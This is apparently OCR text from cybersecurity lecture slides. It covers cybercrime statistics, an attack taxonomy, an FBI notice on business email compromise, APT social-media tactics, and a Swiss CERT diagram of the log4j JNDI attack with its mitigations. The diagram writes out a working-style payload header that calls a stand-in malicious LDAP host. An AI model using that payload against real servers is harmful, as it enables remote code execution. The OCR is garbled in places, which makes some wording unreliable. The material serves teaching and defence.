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Network Securlty _ 27%

2024 ST aese: I
.11 Hiringand for keeping skiled employees - N (7'
~$5 Trillion " ',, A E—
Deployment of IPve [ 11%
fanagement of bandwidt! twork aty _ 8%
eepingupwiththe pace of te hanges | 7%
Regulatory requirements involing the Intemet [ 2%
2019 Access to relisble and credible Internet industry data [ 3%
Benchmarking and understanding best practice innetwork... [ 3%

- Cost of data breaches due . Security is the biggest
to the Cybercrime challenge for internet
« $5 Trillion globally in 2024 service provider
 average annual growth of 11% [APNIC, 2018]
[Juniper research, 2019] .
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Data/Storage

Communication
Networks

Computer
Systems/Device

Phishing
SQL-Injection
XSS

« Ransomware
« Data Breach

DDoS

DNS attack

BGP Hijacking
Man-in-the-Middle ....
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HeartBleed
Rootkit
Fireless Attack...
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’ "'\ Public Service Announcement (

FEDERAL BUREAU OF INVESTIGATION

February 16, 2022 Business Email Compromise: Virtual Meeting
Alert Number Platforms
I1-021622-PSA Business Email Compromise/Email Account Compromise (BEC/EAC) is a

sophisticated scam that targets both businesses and individuals who perform

Questions regarding this legitimate transfer-of-funds requests.

PSA should be directed to

your local FBI Field Office. The scam is frequently carried out when an individual compromises
) ) legitimate business or personal email accounts through social engineering or
Local Field Office Locations: computer intrusion to conduct unauthorized transfers of funds. 13

vivew.fbi.gov/contact-us/field-
offices USING VIRTUAL MEETING PLATFORMS FOR BEC ACTIVITY
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ID Name Description

G0050 APT32 APT32 has set up Facebook pages in tandem with fake websites.

G0003 Cleaver Cleaver has created fake LinkedIn profiles that included profile photos, details, and connections.
G0117 Fox Kitten Fox Kitten has used a Twitter account to communicate with ransomware victims.

G0034 Sandworm Team Sandworm Team has established social media accounts to disseminate victim internal-only documents and other sensitive data.
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The log4j JNDI Attack

and how to prevent it

An attacker inserts the JNDI lookup in a

header field that is likely to be logged. for logging

GET /ftest HTTP/1.1
Host: victim.xa
User-Agent: ${jndi:ldap://evil.xa/x}

HTTP

€ BLOCK WITH WAF

Attacker Vulnerable Server

http://victim.xa

The string is passed to log4j

${jndi:1ldap://evil.xa/x}

Vulnerable log4j

& it

N ﬁx

log4j interpolates the string and
queries the malicious LDAP server.
“” e® ?
ldap://evil.xa/x

€ DISABLE JNDI LOOKUPS

€ PATCH LOG4)

Malicious LDAP Server

N
rd

o

2
- E=E € DISABLE LOG4)

.
<

implementation Idap://evil.xa
> 1B o— KA
L —— | -~ S22

|
DISABLE
e REMOTE ?

CODEBASES ¢

public class Malicious implements Serializable |
static |

=malicious Java code>

}

JAVA deserializes (or downloads) the
malicious Java class and executes it.

@ ® © CouCERTch

dn:
javaClassName: Malicious
javaCodebase: http://evil.xa
jovaSerializedData: <...=>

The LDAP server responds with directory
information that contains the malicious
Java class

Source : Swiss CERT
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